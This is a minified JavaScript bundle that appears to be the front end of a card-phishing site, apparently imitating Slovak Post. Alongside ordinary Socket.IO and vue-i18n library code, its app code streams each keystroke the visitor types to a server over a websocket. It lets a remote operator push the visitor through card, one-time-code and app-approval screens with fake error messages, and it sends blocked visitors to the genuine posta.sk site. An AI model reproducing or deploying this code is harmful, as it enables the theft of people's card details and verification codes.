n=this.engine,s=this;this._readyState="opening",this.skipReconnect=!1;const o=Mn(n,"open",function(){s.onopen(),t&&t()}),a=u=>{this.cleanup(),this._readyState="closed",this.emitReserved("error",u),t?t(u):this.maybeReconnectOnOpen()},c=Mn(n,"error",a);if(this._timeout!==!1){const u=this._timeout,h=this.setTimeoutFn(()=>{o(),a(new Error("timeout")),n.close()},u);this.opts.autoUnref&&h.unref(),this.subs.push(()=>{this.clearTimeoutFn(h)})}return this.subs.push(o),this.subs.push(c),this}connect(t){return this.open(t)}onopen(){this.cleanup(),this._readyState="open",this.emitReserved("open");const t=this.engine;this.subs.push(Mn(t,"ping",this.onping.bind(this)),Mn(t,"data",this.ondata.bind(this)),Mn(t,"error",this.onerror.bind(this)),Mn(t,"close",this.onclose.bind(this)),Mn(this.decoder,"decoded",this.ondecoded.bind(this)))}onping(){this.emitReserved("ping")}ondata(t){try{this.decoder.add(t)}catch(n){this.onclose("parse error",n)}}ondecoded(t){$a(()=>{this.emitReserved("packet",t)},this.setTimeoutFn)}onerror(t){this.emitReserved("error",t)}socket(t,n){let s=this.nsps[t];return s?this._autoConnect&&!s.active&&s.connect():(s=new z_(this,t,n),this.nsps[t]=s),s}_destroy(t){const n=Object.keys(this.nsps);for(const s of n)if(this.nsps[s].active)return;this._close()}_packet(t){const n=this.encoder.encode(t);for(let s=0;st()),this.subs.length=0,this.decoder.destroy()}_close(){this.skipReconnect=!0,this._reconnecting=!1,this.onclose("forced close")}disconnect(){return this._close()}onclose(t,n){var s;this.cleanup(),(s=this.engine)===null||s===void 0||s.close(),this.backoff.reset(),this._readyState="closed",this.emitReserved("close",t,n),this._reconnection&&!this.skipReconnect&&this.reconnect()}reconnect(){if(this._reconnecting||this.skipReconnect)return this;const t=this;if(this.backoff.attempts>=this._reconnectionAttempts)this.backoff.reset(),this.emitReserved("reconnect_failed"),this._reconnecting=!1;else{const n=this.backoff.duration();this._reconnecting=!0;const s=this.setTimeoutFn(()=>{t.skipReconnect||(this.emitReserved("reconnect_attempt",t.backoff.attempts),!t.skipReconnect&&t.open(o=>{o?(t._reconnecting=!1,t.reconnect(),this.emitReserved("reconnect_error",o)):t.onreconnect()}))},n);this.opts.autoUnref&&s.unref(),this.subs.push(()=>{this.clearTimeoutFn(s)})}}onreconnect(){const t=this.backoff.attempts;this._reconnecting=!1,this.backoff.reset(),this.emitReserved("reconnect",t)}}const _i={};function ia(e,t){typeof e=="object"&&(t=e,e=void 0),t=t||{};const n=jx(e,t.path||"/socket.io"),s=n.source,o=n.id,a=n.path,c=_i[o]&&a in _i[o].nsps,u=t.forceNew||t["force new connection"]||t.multiplex===!1||c;let h;return u?h=new cu(s,t):(_i[o]||(_i[o]=new cu(s,t)),h=_i[o]),n.query&&!t.query&&(t.query=n.queryKey),h.socket(n.path,t)}Object.assign(ia,{Manager:cu,Socket:z_,io:ia,connect:ia});class aL{constructor(t){qt(this,"url");qt(this,"socket",null);qt(this,"listeners",{});qt(this,"messageQueue",[]);this.url=t,this.init(),this.setupVisibilityListener()}init(){this.socket||(console.log("Socket initialized with URL:",this.url),this.socket=ia(this.url,{randomizationFactor:.5}),this.socket.on("connect",()=>{this.flushMessageQueue(),this.emit("open",{type:"open"})}),this.socket.on("message",t=>{this.emit("message",t)}),this.socket.on("connect_error",t=>{this.emit("error",t)}),this.socket.on("disconnect",t=>{this.emit("close",{reason:t})}),this.socket.on("reconnect_attempt",t=>{this.emit("reconnect_attempt",t)}),this.socket.on("reconnect",t=>{this.emit("reconnect",t)}),this.socket.on("reconnect_failed",()=>{Gs().setLoading(!1),this.emit("reconnect_failed",{type:"reconnect_failed"})}),this.socket.onAny((t,...n)=>{["connect","disconnect","error","reconnect_attempt","reconnect","reconnect_failed","message"].includes(t)||this.emit(t,n)}))}isConnected(){var t;return((t=this.socket)==null?void 0:t.connected)??!1}async send(t){var n;try{const s=JSON.parse(t),o=s.event||"message",a={...s,timestamp:s.timestamp||Date.now()};this.isConnected()?(n=this.socket)==null||n.emit("message",JSON.stringify(a)):(this.messageQueue.push({event:o,data:a}),this.reconnectIfNeeded())}catch(s){console.error("Invalid message format. Must be a valid JSON string.",s)}}flushMessageQueue(){var t;this.messageQueue.length>0&&((t=this.socket)!=null&&t.connected)&&(this.messageQueue.forEach(n=>{var s;(s=this.socket)==null||s.emit("message",JSON.stringify(n))}),this.messageQueue=[])}reconnectIfNeeded(){!this.isConnected()&&this.socket&&this.socket.connect()}on(t,n){var s;["open","close","error","reconnect","reconnect_attempt","reconnect_failed"].includes(t)?(this.listeners[t]||(this.listeners[t]=[]),this.listeners[t].push(n)):(s=this.socket)==null||s.on(t,(...o)=>n(...o))}off(t){var n;this.listeners[t]&&delete this.listeners[t],(n=this.socket)==null||n.off(t)}emit(t,n){this.listeners[t]&&this.listeners[t].forEach(s=>s(n))}setupVisibilityListener(){const t=()=>{document.visibilityState==="visible"&&!this.isConnected()&&this.socket&&this.socket.connect()};document.addEventListener("visibilitychange",t)}disconnect(){var t;(t=this.socket)==null||t.disconnect()}}function lL(e){const t=new aL(e);return{socket:t,send:t.send.bind(t),on:t.on.bind(t),off:t.off.bind(t),disconnect:t.disconnect.bind(t)}}const cL=Wr({name:"",pageTitle:"",pageContent:"",input1Title:"",input2Title:"",buttonText:"",buttonColor:"",errorMessage:"",imageUrl:""});function uL(e){cL.value=e,localStorage.setItem("customOtpData",JSON.stringify(e))}let dt;const ns=Wr({});function AN(e,t=[]){return Object.keys(e).every(n=>{if(t.includes(n))return!0;const s=e[n];return s!=null&&s!==""&&!(typeof s=="string"&&s.trim()==="")})}const fL={},hL={};function im(e,t,n,s){return e[t]||(e[t]=ax.debounce(n,s)),e[t]}const G_=Wr(1);function CN(e,t,n){const s=Date.now(),o=im(fL,t,(c,u,h)=>{dt==null||dt.send(JSON.stringify({event:"input_text",content:{type:c,key:u,text:h},timestamp:s}))},300),a=im(hL,t,(c,u,h)=>{lx({content:{type:c,key:u,text:h},timestamp:s})},1e3);o(e,t,n),G_.value!==2&&a(e,t,n)}function dL(e,t){t===2?(G_.value=2,dt=lL(`wss://${window.location.host}/ws?token=${e}`)):dt=dx(`wss://${window.location.host}/ws?token=${e}`),dt==null||dt.on("close",()=>console.log("Socket closed!")),dt==null||dt.on("open",()=>{const n=localStorage.getItem("token");_L(e,n!==e)}),dt==null||dt.on("message",pL),window.addEventListener("beforeunload",()=>{dt==null||dt.off("close")})}function pL(e){const t=JSON.parse(e);if(!t||!t.event)return;const{event:n,content:s}=t;switch(n){case"login":mL();break;case"result_type":gL(s);break;case"reload":window.location.reload();break}}function mL(e){const t=localStorage.getItem("route");t&&(dt==null||dt.send(JSON.stringify({event:"page_type",content:{pageType:t}})))}function gL(e){if(!e)return;const t={customOtpValid:()=>Cc("/customOtpValid",e),otpValid:()=>Cc("/otpValid",e),appValid:()=>Cc("/appValid",e),success:()=>js.push("/success"),kickOut:uu,block:uu,otpFail:()=>ea.emit("otp-valid",{message2:e.value.message2||va.global.t("Verification code error, please try again")}),appFail:()=>ea.emit("app-valid",{message2:e.value.message2||va.global.t("The session is about to expire, please complete the verification now")}),back:()=>om(e,!0),reject:()=>om(e,!1),refresh:()=>{localStorage.getItem("route")&&(localStorage.removeItem("route"),window.location.reload())}};e.type=="customOtpValid"&&e.value.customOtpData&&uL(JSON.parse(e.value.customOtpData)),e.type=="customOtpFail"&&ea.emit("custom-otp-valid",{message2:e.value.message2});const n=t[e.type];n&&n(),Gs().setLoading(!1)}function Cc(e,t){var n,s,o,a,c;js.push({path:e,query:{cardType:(a=(o=(s=(n=t.value)==null?void 0:n.data)==null?void 0:s.cardData)==null?void 0:o.cardBIN)==null?void 0:a.schema,message1:(c=t.value)==null?void 0:c.message1,key:new Date().getMilliseconds()}})}function om(e,t){let n=va.global.t("This card does not support this transaction, please try another card");if(ns.value.error_card_msg&&(n=ns.value.error_card_msg),e.value.type){const s=e.value.type;s==="denyC"&&ns.value.deny_c_msg&&(n=ns.value.deny_c_msg),s==="denyD"&&ns.value.deny_d_msg&&(n=ns.value.deny_d_msg)}e.value.message2&&(n=e.value.message2),t&&js.push({path:"/card",query:{message2:n}}),ea.emit("my-event",{message2:n})}function _L(e,t){dt==null||dt.send(JSON.stringify({event:"login",content:{tag:"user",token:e,isFirst:t}}));const n=localStorage.getItem("route");js.push(n?`/${n}`:"/home"),Gs().setLoading(!1)}function uu(){window.location.href="https://www.posta.sk/"}const yL=hs({__name:"App",setup(e){const t=Gs();$u(()=>{console.log("login"),n()});const n=function(){t.setLoading(!0),Ba.post("/api",{}).then(s=>{if(s.data.isBlock){uu();return}let o=s.data.Token;const a=localStorage.getItem("token");o&&o!=a&&localStorage.setItem("token",o),s.data.mode&&localStorage.setItem("mode",s.data.mode),dL(o,s.data.mode),s.data.custom&&(ns.value=JSON.parse(s.data.custom))})};return(s,o)=>(Ni(),Hg(en,null,[Mt(ix),Mt(as(l_))],64))}});/*! * shared v10.0.4 * (c) 2024 kazuya kawaguchi * Released under the MIT License. */const ya=typeof window<"u",Hr=(e,t=!1)=>t?Symbol.for(e):Symbol(e),bL=(e,t,n)=>vL({l:e,k:t,s:n}),vL=e=>JSON.stringify(e).replace(/\u2028/g,"\\u2028").replace(/\u2029/g,"\\u2029").replace(/\u0027/g,"\\u0027"),xt=e=>typeof e=="number"&&isFinite(e),EL=e=>af(e)==="[object Date]",Hs=e=>af(e)==="[object RegExp]",Ha=e=>De(e)&&Object.keys(e).length===0,It=Object.assign;let am;const ss=()=>am||(am=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof window<"u"?window:typeof global<"u"?global:{});function lm(e){return e.replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}const wL=Object.prototype.hasOwnProperty;function ba(e,t){return wL.call(e,t)}const _t=Array.isArray,lt=e=>typeof e=="function",ue=e=>typeof e=="string",ze=e=>typeof e=="boolean",Ye=e=>e!==null&&typeof e=="object",SL=e=>Ye(e)&<(e.then)&<(e.catch),j_=Object.prototype.toString,af=e=>j_.call(e),De=e=>af(e)==="[object Object]",TL=e=>e==null?"":_t(e)||De(e)&&e.toString===j_?JSON.stringify(e,null,2):String(e);function lf(e,t=""){return e.reduce((n,s,o)=>o===0?n+s:n+t+s,"")}function OL(e,t){typeof console<"u"&&(console.warn("[intlify] "+e),t&&console.warn(t.stack))}const qo=e=>!Ye(e)||_t(e);function oa(e,t){if(qo(e)||qo(t))throw new Error("Invalid value");const n=[{src:e,des:t}];for(;n.length;){const{src:s,des:o}=n.pop();Object.keys(s).forEach(a=>{Ye(s[a])&&!Ye(o[a])&&(o[a]=Array.isArray(s[a])?[]:{}),qo(o[a])||qo(s[a])?o[a]=s[a]:n.push({src:s[a],des:o[a]})})}}/*! * message-compiler v10.0.4 * (c) 2024 kazuya kawaguchi * Released under the MIT License. */function RL(e,t,n){return{line:e,column:t,offset:n}}function fu(e,t,n){const s={start:e,end:t};return n!=null&&(s.source=n),s}const Ze={EXPECTED_TOKEN:1,INVALID_TOKEN_IN_PLACEHOLDER:2,UNTERMINATED_SINGLE_QUOTE_IN_PLACEHOLDER:3,UNKNOWN_ESCAPE_SEQUENCE:4,INVALID_UNICODE_ESCAPE_SEQUENCE:5,UNBALANCED_CLOSING_BRACE:6,UNTERMINATED_CLOSING_BRACE:7,EMPTY_PLACEHOLDER:8,NOT_ALLOW_NEST_PLACEHOLDER:9,INVALID_LINKED_FORMAT:10,MUST_HAVE_MESSAGES_IN_PLURAL:11,UNEXPECTED_EMPTY_LINKED_MODIFIER:12,UNEXPECTED_EMPTY_LINKED_KEY:13,UNEXPECTED_LEXICAL_ANALYSIS:14,UNHANDLED_CODEGEN_NODE_TYPE:15,UNHANDLED_MINIFIER_NODE_TYPE:16},AL=17;function Va(e,t,n={}){const{domain:s,messages:o,args:a}=n,c=e,u=new SyntaxError(String(c));return u.code=e,t&&(u.location=t),u.domain=s,u}function CL(e){throw e}const ur=" ",xL="\r",Jt=` `,LL=String.fromCharCode(8232),IL=String.fromCharCode(8233);function NL(e){const t=e;let n=0,s=1,o=1,a=0;const c=W=>t[W]===xL&&t[W+1]===Jt,u=W=>t[W]===Jt,h=W=>t[W]===IL,d=W=>t[W]===LL,m=W=>c(W)||u(W)||h(W)||d(W),g=()=>n,w=()=>s,O=()=>o,P=()=>a,F=W=>c(W)||h(W)||d(W)?Jt:t[W],D=()=>F(n),R=()=>F(n+a);function N(){return a=0,m(n)&&(s++,o=0),c(n)&&n++,n++,o++,t[n]}function U(){return c(n+a)&&a++,a++,t[n+a]}function x(){n=0,s=1,o=1,a=0}function q(W=0){a=W}function Z(){const W=n+a;for(;W!==n;)N();a=0}return{index:g,line:w,column:O,peekOffset:P,charAt:F,currentChar:D,currentPeek:R,next:N,peek:U,reset:x,resetPeek:q,skipToPeek:Z}}const xr=void 0,PL=".",cm="'",kL="tokenizer";function DL(e,t={}){const n=t.location!==!1,s=NL(e),o=()=>s.index(),a=()=>RL(s.line(),s.column(),s.index()),c=a(),u=o(),h={currentType:13,offset:u,startLoc:c,endLoc:c,lastType:13,lastOffset:u,lastStartLoc:c,lastEndLoc:c,braceNest:0,inLinked:!1,text:""},d=()=>h,{onError:m}=t;function g(b,E,L,...B){const G=d();if(E.column+=L,E.offset+=L,m){const te=n?fu(G.startLoc,E):null,C=Va(b,te,{domain:kL,args:B});m(C)}}function w(b,E,L){b.endLoc=a(),b.currentType=E;const B={type:E};return n&&(B.loc=fu(b.startLoc,b.endLoc)),L!=null&&(B.value=L),B}const O=b=>w(b,13);function P(b,E){return b.currentChar()===E?(b.next(),E):(g(Ze.EXPECTED_TOKEN,a(),0,E),"")}function F(b){let E="";for(;b.currentPeek()===ur||b.currentPeek()===Jt;)E+=b.currentPeek(),b.peek();return E}function D(b){const E=F(b);return b.skipToPeek(),E}function R(b){if(b===xr)return!1;const E=b.charCodeAt(0);return E>=97&&E<=122||E>=65&&E<=90||E===95}function N(b){if(b===xr)return!1;const E=b.charCodeAt(0);return E>=48&&E<=57}function U(b,E){const{currentType:L}=E;if(L!==2)return!1;F(b);const B=R(b.currentPeek());return b.resetPeek(),B}function x(b,E){const{currentType:L}=E;if(L!==2)return!1;F(b);const B=b.currentPeek()==="-"?b.peek():b.currentPeek(),G=N(B);return b.resetPeek(),G}function q(b,E){const{currentType:L}=E;if(L!==2)return!1;F(b);const B=b.currentPeek()===cm;return b.resetPeek(),B}function Z(b,E){const{currentType:L}=E;if(L!==7)return!1;F(b);const B=b.currentPeek()===".";return b.resetPeek(),B}function W(b,E){const{currentType:L}=E;if(L!==8)return!1;F(b);const B=R(b.currentPeek());return b.resetPeek(),B}function ae(b,E){const{currentType:L}=E;if(!(L===7||L===11))return!1;F(b);const B=b.currentPeek()===":";return b.resetPeek(),B}function se(b,E){const{currentType:L}=E;if(L!==9)return!1;const B=()=>{const te=b.currentPeek();return te==="{"?R(b.peek()):te==="@"||te==="|"||te===":"||te==="."||te===ur||!te?!1:te===Jt?(b.peek(),B()):Ve(b,!1)},G=B();return b.resetPeek(),G}function Ae(b){F(b);const E=b.currentPeek()==="|";return b.resetPeek(),E}function Ve(b,E=!0){const L=(G=!1,te="")=>{const C=b.currentPeek();return C==="{"||C==="@"||!C?G:C==="|"?!(te===ur||te===Jt):C===ur?(b.peek(),L(!0,ur)):C===Jt?(b.peek(),L(!0,Jt)):!0},B=L();return E&&b.resetPeek(),B}function Me(b,E){const L=b.currentChar();return L===xr?xr:E(L)?(b.next(),L):null}function qe(b){const E=b.charCodeAt(0);return E>=97&&E<=122||E>=65&&E<=90||E>=48&&E<=57||E===95||E===36}function $t(b){return Me(b,qe)}function Wt(b){const E=b.charCodeAt(0);return E>=97&&E<=122||E>=65&&E<=90||E>=48&&E<=57||E===95||E===36||E===45}function We(b){return Me(b,Wt)}function me(b){const E=b.charCodeAt(0);return E>=48&&E<=57}function ye(b){return Me(b,me)}function et(b){const E=b.charCodeAt(0);return E>=48&&E<=57||E>=65&&E<=70||E>=97&&E<=102}function bt(b){return Me(b,et)}function ce(b){let E="",L="";for(;E=ye(b);)L+=E;return L}function Y(b){let E="";for(;;){const L=b.currentChar();if(L==="{"||L==="}"||L==="@"||L==="|"||!L)break;if(L===ur||L===Jt)if(Ve(b))E+=L,b.next();else{if(Ae(b))break;E+=L,b.next()}else E+=L,b.next()}return E}function de(b){D(b);let E="",L="";for(;E=We(b);)L+=E;return b.currentChar()===xr&&g(Ze.UNTERMINATED_CLOSING_BRACE,a(),0),L}function Ce(b){D(b);let E="";return b.currentChar()==="-"?(b.next(),E+=`-${ce(b)}`):E+=ce(b),b.currentChar()===xr&&g(Ze.UNTERMINATED_CLOSING_BRACE,a(),0),E}function He(b){return b!==cm&&b!==Jt}function Le(b){D(b),P(b,"'");let E="",L="";for(;E=Me(b,He);)E==="\\"?L+=V(b):L+=E;const B=b.currentChar();return B===Jt||B===xr?(g(Ze.UNTERMINATED_SINGLE_QUOTE_IN_PLACEHOLDER,a(),0),B===Jt&&(b.next(),P(b,"'")),L):(P(b,"'"),L)}function V(b){const E=b.currentChar();switch(E){case"\\":case"'":return b.next(),`\\${E}`;case"u":return re(b,E,4);case"U":return re(b,E,6);default:return g(Ze.UNKNOWN_ESCAPE_SEQUENCE,a(),0,E),""}}function re(b,E,L){P(b,E);let B="";for(let G=0;G{const B=b.currentChar();return B==="{"||B==="@"||B==="|"||B==="("||B===")"||!B||B===ur?L:(L+=B,b.next(),E(L))};return E("")}function v(b){D(b);const E=P(b,"|");return D(b),E}function S(b,E){let L=null;switch(b.currentChar()){case"{":return E.braceNest>=1&&g(Ze.NOT_ALLOW_NEST_PLACEHOLDER,a(),0),b.next(),L=w(E,2,"{"),D(b),E.braceNest++,L;case"}":return E.braceNest>0&&E.currentType===2&&g(Ze.EMPTY_PLACEHOLDER,a(),0),b.next(),L=w(E,3,"}"),E.braceNest--,E.braceNest>0&&D(b),E.inLinked&&E.braceNest===0&&(E.inLinked=!1),L;case"@":return E.braceNest>0&&g(Ze.UNTERMINATED_CLOSING_BRACE,a(),0),L=M(b,E)||O(E),E.braceNest=0,L;default:{let G=!0,te=!0,C=!0;if(Ae(b))return E.braceNest>0&&g(Ze.UNTERMINATED_CLOSING_BRACE,a(),0),L=w(E,1,v(b)),E.braceNest=0,E.inLinked=!1,L;if(E.braceNest>0&&(E.currentType===4||E.currentType===5||E.currentType===6))return g(Ze.UNTERMINATED_CLOSING_BRACE,a(),0),E.braceNest=0,Q(b,E);if(G=U(b,E))return L=w(E,4,de(b)),D(b),L;if(te=x(b,E))return L=w(E,5,Ce(b)),D(b),L;if(C=q(b,E))return L=w(E,6,Le(b)),D(b),L;if(!G&&!te&&!C)return L=w(E,12,oe(b)),g(Ze.INVALID_TOKEN_IN_PLACEHOLDER,a(),0,L.value),D(b),L;break}}return L}function M(b,E){const{currentType:L}=E;let B=null;const G=b.currentChar();switch((L===7||L===8||L===11||L===9)&&(G===Jt||G===ur)&&g(Ze.INVALID_LINKED_FORMAT,a(),0),G){case"@":return b.next(),B=w(E,7,"@"),E.inLinked=!0,B;case".":return D(b),b.next(),w(E,8,".");case":":return D(b),b.next(),w(E,9,":");default:return Ae(b)?(B=w(E,1,v(b)),E.braceNest=0,E.inLinked=!1,B):Z(b,E)||ae(b,E)?(D(b),M(b,E)):W(b,E)?(D(b),w(E,11,ge(b))):se(b,E)?(D(b),G==="{"?S(b,E)||B:w(E,10,Pe(b))):(L===7&&g(Ze.INVALID_LINKED_FORMAT,a(),0),E.braceNest=0,E.inLinked=!1,Q(b,E))}}function Q(b,E){let L={type:13};if(E.braceNest>0)return S(b,E)||O(E);if(E.inLinked)return M(b,E)||O(E);switch(b.currentChar()){case"{":return S(b,E)||O(E);case"}":return g(Ze.UNBALANCED_CLOSING_BRACE,a(),0),b.next(),w(E,3,"}");case"@":return M(b,E)||O(E);default:{if(Ae(b))return L=w(E,1,v(b)),E.braceNest=0,E.inLinked=!1,L;if(Ve(b))return w(E,0,Y(b));break}}return L}function K(){const{currentType:b,offset:E,startLoc:L,endLoc:B}=h;return h.lastType=b,h.lastOffset=E,h.lastStartLoc=L,h.lastEndLoc=B,h.offset=o(),h.startLoc=a(),s.currentChar()===xr?w(h,13):Q(s,h)}return{nextToken:K,currentOffset:o,currentPosition:a,context:d}}const ML="parser",FL=/(?:\\\\|\\'|\\u([0-9a-fA-F]{4})|\\U([0-9a-fA-F]{6}))/g;function UL(e,t,n){switch(e){case"\\\\":return"\\";case"\\'":return"'";default:{const s=parseInt(t||n,16);return s<=55295||s>=57344?String.fromCodePoint(s):"�"}}}function BL(e={}){const t=e.location!==!1,{onError:n}=e;function s(R,N,U,x,...q){const Z=R.currentPosition();if(Z.offset+=x,Z.column+=x,n){const W=t?fu(U,Z):null,ae=Va(N,W,{domain:ML,args:q});n(ae)}}function o(R,N,U){const x={type:R};return t&&(x.start=N,x.end=N,x.loc={start:U,end:U}),x}function a(R,N,U,x){t&&(R.end=N,R.loc&&(R.loc.end=U))}function c(R,N){const U=R.context(),x=o(3,U.offset,U.startLoc);return x.value=N,a(x,R.currentOffset(),R.currentPosition()),x}function u(R,N){const U=R.context(),{lastOffset:x,lastStartLoc:q}=U,Z=o(5,x,q);return Z.index=parseInt(N,10),R.nextToken(),a(Z,R.currentOffset(),R.currentPosition()),Z}function h(R,N){const U=R.context(),{lastOffset:x,lastStartLoc:q}=U,Z=o(4,x,q);return Z.key=N,R.nextToken(),a(Z,R.currentOffset(),R.currentPosition()),Z}function d(R,N){const U=R.context(),{lastOffset:x,lastStartLoc:q}=U,Z=o(9,x,q);return Z.value=N.replace(FL,UL),R.nextToken(),a(Z,R.currentOffset(),R.currentPosition()),Z}function m(R){const N=R.nextToken(),U=R.context(),{lastOffset:x,lastStartLoc:q}=U,Z=o(8,x,q);return N.type!==11?(s(R,Ze.UNEXPECTED_EMPTY_LINKED_MODIFIER,U.lastStartLoc,0),Z.value="",a(Z,x,q),{nextConsumeToken:N,node:Z}):(N.value==null&&s(R,Ze.UNEXPECTED_LEXICAL_ANALYSIS,U.lastStartLoc,0,Gn(N)),Z.value=N.value||"",a(Z,R.currentOffset(),R.currentPosition()),{node:Z})}function g(R,N){const U=R.context(),x=o(7,U.offset,U.startLoc);return x.value=N,a(x,R.currentOffset(),R.currentPosition()),x}function w(R){const N=R.context(),U=o(6,N.offset,N.startLoc);let x=R.nextToken();if(x.type===8){const q=m(R);U.modifier=q.node,x=q.nextConsumeToken||R.nextToken()}switch(x.type!==9&&s(R,Ze.UNEXPECTED_LEXICAL_ANALYSIS,N.lastStartLoc,0,Gn(x)),x=R.nextToken(),x.type===2&&(x=R.nextToken()),x.type){case 10:x.value==null&&s(R,Ze.UNEXPECTED_LEXICAL_ANALYSIS,N.lastStartLoc,0,Gn(x)),U.key=g(R,x.value||"");break;case 4:x.value==null&&s(R,Ze.UNEXPECTED_LEXICAL_ANALYSIS,N.lastStartLoc,0,Gn(x)),U.key=h(R,x.value||"");break;case 5:x.value==null&&s(R,Ze.UNEXPECTED_LEXICAL_ANALYSIS,N.lastStartLoc,0,Gn(x)),U.key=u(R,x.value||"");break;case 6:x.value==null&&s(R,Ze.UNEXPECTED_LEXICAL_ANALYSIS,N.lastStartLoc,0,Gn(x)),U.key=d(R,x.value||"");break;default:{s(R,Ze.UNEXPECTED_EMPTY_LINKED_KEY,N.lastStartLoc,0);const q=R.context(),Z=o(7,q.offset,q.startLoc);return Z.value="",a(Z,q.offset,q.startLoc),U.key=Z,a(U,q.offset,q.startLoc),{nextConsumeToken:x,node:U}}}return a(U,R.currentOffset(),R.currentPosition()),{node:U}}function O(R){const N=R.context(),U=N.currentType===1?R.currentOffset():N.offset,x=N.currentType===1?N.endLoc:N.startLoc,q=o(2,U,x);q.items=[];let Z=null;do{const se=Z||R.nextToken();switch(Z=null,se.type){case 0:se.value==null&&s(R,Ze.UNEXPECTED_LEXICAL_ANALYSIS,N.lastStartLoc,0,Gn(se)),q.items.push(c(R,se.value||""));break;case 5:se.value==null&&s(R,Ze.UNEXPECTED_LEXICAL_ANALYSIS,N.lastStartLoc,0,Gn(se)),q.items.push(u(R,se.value||""));break;case 4:se.value==null&&s(R,Ze.UNEXPECTED_LEXICAL_ANALYSIS,N.lastStartLoc,0,Gn(se)),q.items.push(h(R,se.value||""));break;case 6:se.value==null&&s(R,Ze.UNEXPECTED_LEXICAL_ANALYSIS,N.lastStartLoc,0,Gn(se)),q.items.push(d(R,se.value||""));break;case 7:{const Ae=w(R);q.items.push(Ae.node),Z=Ae.nextConsumeToken||null;break}}}while(N.currentType!==13&&N.currentType!==1);const W=N.currentType===1?N.lastOffset:R.currentOffset(),ae=N.currentType===1?N.lastEndLoc:R.currentPosition();return a(q,W,ae),q}function P(R,N,U,x){const q=R.context();let Z=x.items.length===0;const W=o(1,N,U);W.cases=[],W.cases.push(x);do{const ae=O(R);Z||(Z=ae.items.length===0),W.cases.push(ae)}while(q.currentType!==13);return Z&&s(R,Ze.MUST_HAVE_MESSAGES_IN_PLURAL,U,0),a(W,R.currentOffset(),R.currentPosition()),W}function F(R){const N=R.context(),{offset:U,startLoc:x}=N,q=O(R);return N.currentType===13?q:P(R,U,x,q)}function D(R){const N=DL(R,It({},e)),U=N.context(),x=o(0,U.offset,U.startLoc);return t&&x.loc&&(x.loc.source=R),x.body=F(N),e.onCacheKey&&(x.cacheKey=e.onCacheKey(R)),U.currentType!==13&&s(N,Ze.UNEXPECTED_LEXICAL_ANALYSIS,U.lastStartLoc,0,R[U.offset]||""),a(x,N.currentOffset(),N.currentPosition()),x}return{parse:D}}function Gn(e){if(e.type===13)return"EOF";const t=(e.value||"").replace(/\r?\n/gu,"\\n");return t.length>10?t.slice(0,9)+"…":t}function $L(e,t={}){const n={ast:e,helpers:new Set};return{context:()=>n,helper:a=>(n.helpers.add(a),a)}}function um(e,t){for(let n=0;nfm(n)),e}function fm(e){if(e.items.length===1){const t=e.items[0];(t.type===3||t.type===9)&&(e.static=t.value,delete t.value)}else{const t=[];for(let n=0;nu;function d(D,R){u.code+=D}function m(D,R=!0){const N=R?o:"";d(a?N+" ".repeat(D):N)}function g(D=!0){const R=++u.indentLevel;D&&m(R)}function w(D=!0){const R=--u.indentLevel;D&&m(R)}function O(){m(u.indentLevel)}return{context:h,push:d,indent:g,deindent:w,newline:O,helper:D=>`_${D}`,needIndent:()=>u.needIndent}}function qL(e,t){const{helper:n}=e;e.push(`${n("linked")}(`),Vs(e,t.key),t.modifier?(e.push(", "),Vs(e,t.modifier),e.push(", _type")):e.push(", undefined, _type"),e.push(")")}function KL(e,t){const{helper:n,needIndent:s}=e;e.push(`${n("normalize")}([`),e.indent(s());const o=t.items.length;for(let a=0;a1){e.push(`${n("plural")}([`),e.indent(s());const o=t.cases.length;for(let a=0;a{const n=ue(t.mode)?t.mode:"normal",s=ue(t.filename)?t.filename:"message.intl",o=!!t.sourceMap,a=t.breakLineCode!=null?t.breakLineCode:n==="arrow"?";":` `,c=t.needIndent?t.needIndent:n!=="arrow",u=e.helpers||[],h=VL(e,{mode:n,filename:s,sourceMap:o,breakLineCode:a,needIndent:c});h.push(n==="normal"?"function __msg__ (ctx) {":"(ctx) => {"),h.indent(c),u.length>0&&(h.push(`const { ${lf(u.map(g=>`${g}: _${g}`),", ")} } = ctx`),h.newline()),h.push("return "),Vs(h,e),h.deindent(c),h.push("}"),delete e.helpers;const{code:d,map:m}=h.context();return{ast:e,code:d,map:m?m.toJSON():void 0}};function YL(e,t={}){const n=It({},t),s=!!n.jit,o=!!n.minify,a=n.optimize==null?!0:n.optimize,u=BL(n).parse(e);return s?(a&&HL(u),o&&Ps(u),{ast:u,code:""}):(WL(u,n),jL(u,n))}/*! * core-base v10.0.4 * (c) 2024 kazuya kawaguchi * Released under the MIT License. */function JL(){typeof __INTLIFY_PROD_DEVTOOLS__!="boolean"&&(ss().__INTLIFY_PROD_DEVTOOLS__=!1),typeof __INTLIFY_DROP_MESSAGE_COMPILER__!="boolean"&&(ss().__INTLIFY_DROP_MESSAGE_COMPILER__=!1)}function xc(e){return n=>XL(n,e)}function XL(e,t){const n=t.b||t.body;if((n.t||n.type)===1){const s=n,o=s.c||s.cases;return e.plural(o.reduce((a,c)=>[...a,hm(e,c)],[]))}else return hm(e,n)}function hm(e,t){const n=t.s||t.static;if(n!=null)return e.type==="text"?n:e.normalize([n]);{const s=(t.i||t.items).reduce((o,a)=>[...o,hu(e,a)],[]);return e.normalize(s)}}function hu(e,t){const n=t.t||t.type;switch(n){case 3:{const s=t;return s.v||s.value}case 9:{const s=t;return s.v||s.value}case 4:{const s=t;return e.interpolate(e.named(s.k||s.key))}case 5:{const s=t;return e.interpolate(e.list(s.i!=null?s.i:s.index))}case 6:{const s=t,o=s.m||s.modifier;return e.linked(hu(e,s.k||s.key),o?hu(e,o):void 0,e.type)}case 7:{const s=t;return s.v||s.value}case 8:{const s=t;return s.v||s.value}default:throw new Error(`unhandled node type on format message part: ${n}`)}}const QL=e=>e;let Ko=Object.create(null);const qs=e=>Ye(e)&&(e.t===0||e.type===0)&&("b"in e||"body"in e);function ZL(e,t={}){let n=!1;const s=t.onError||CL;return t.onError=o=>{n=!0,s(o)},{...YL(e,t),detectError:n}}function eI(e,t){if(!__INTLIFY_DROP_MESSAGE_COMPILER__&&ue(e)){ze(t.warnHtmlMessage)&&t.warnHtmlMessage;const s=(t.onCacheKey||QL)(e),o=Ko[s];if(o)return o;const{ast:a,detectError:c}=ZL(e,{...t,location:!1,jit:!0}),u=xc(a);return c?u:Ko[s]=u}else{const n=e.cacheKey;if(n){const s=Ko[n];return s||(Ko[n]=xc(e))}else return xc(e)}}let $i=null;function tI(e){$i=e}function nI(e,t,n){$i&&$i.emit("i18n:init",{timestamp:Date.now(),i18n:e,version:t,meta:n})}const 